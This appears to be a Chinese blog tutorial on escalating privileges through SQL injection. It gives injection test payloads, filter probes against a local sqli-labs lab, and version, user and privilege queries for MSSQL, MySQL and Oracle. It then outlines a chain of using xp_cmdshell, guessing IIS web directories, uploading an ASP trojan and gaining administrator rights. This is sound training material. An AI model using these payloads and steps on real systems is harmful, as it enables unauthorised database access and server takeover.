SQL注入之权限提升

1.发现SQL注入位置

1)整型参数的判断

永假条件:?p=1 and 1=2

永真条件:?p=1 and 1=1

空条件:?p=1 or 1=1

2)字符型参数的判断

永假条件:?p=1' and '1'='2

永真条件:?p=1' and '1'='1

空条件:?p=1' or '1'='1

3)过滤特殊字符的判断

确认过滤了#    
http://localhost/sqli-labs/Less-26/?id=%231    
确认过滤了or    
http://localhost/sqli-labs/Less-26/?id=or1    
确认过滤多行注释符    
http://localhost/sqli-labs/Less-26/?id=/*1    
确认过滤了单行注释    
http://localhost/sqli-labs/Less-26/?id=--1   
确认过滤了斜杠    
http://localhost/sqli-labs/Less-26/?id=/1    
确认过滤了反斜杠    
http://localhost/sqli-labs/Less-26/?id=1\    
确认过滤了空格    
http://localhost/sqli-labs/Less-26/?id=1' ' '    

ascii编码:把输入 的字符用ascii码代替,如U=char(85)

2.判断后台数据库类型

MSSQL备忘单:

select @@version;  查看版本

select db_name(); 获取当前数据库

select user; 获取当前用户

select grantee,table_name,privilege_type from information_schema.table_privileges; 查看当前用户权限

MySQL备忘单:

select @@version; 查看版本

select database(); 查看当前数据库

select user(); 查看当前用户

select * from information_schema.user_privileges where grantee='xxxx'; 查看当前用户权限

select grantee,privilege_type,is_grantable from information_schema.user_privileges; 当前用户权限

Oracle备忘单:

select banner from v$version; 查看版本

select sys_context('userenv', 'db_name') from dual; 查看当前数据库

select user from dual; 查看当前用户

select privilege from session_privs; 查看当前用户的权限

2)利用系统表

access的系统表是msysobjects,在web环境下没有访问权限

SQL server的系统表是sysobjects,在web环境下有访问权限

MSSQL三个关键系统表:sysdatabases,sysobjects,syscolumns

3.确定xp_cmdshell可执行

4.发现web虚拟目录

1)根据经验猜解:

web虚拟目录:c:\inetpub\wwwroot;D:\inetpub\wwwroot;等

可执行虚拟目录:c:\inetpub\scripts; D:\inetpub\scripts;等

5.上传asp木马(一段有特殊功能的asp代码,放入web虚拟目录的scripts下,远程客户端可执行它,进而得到系统的user权限)

6.得到管理员权限(asp木马只有user权限,要想获取对系统的完全控制,还有有系统的管理员权限)


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值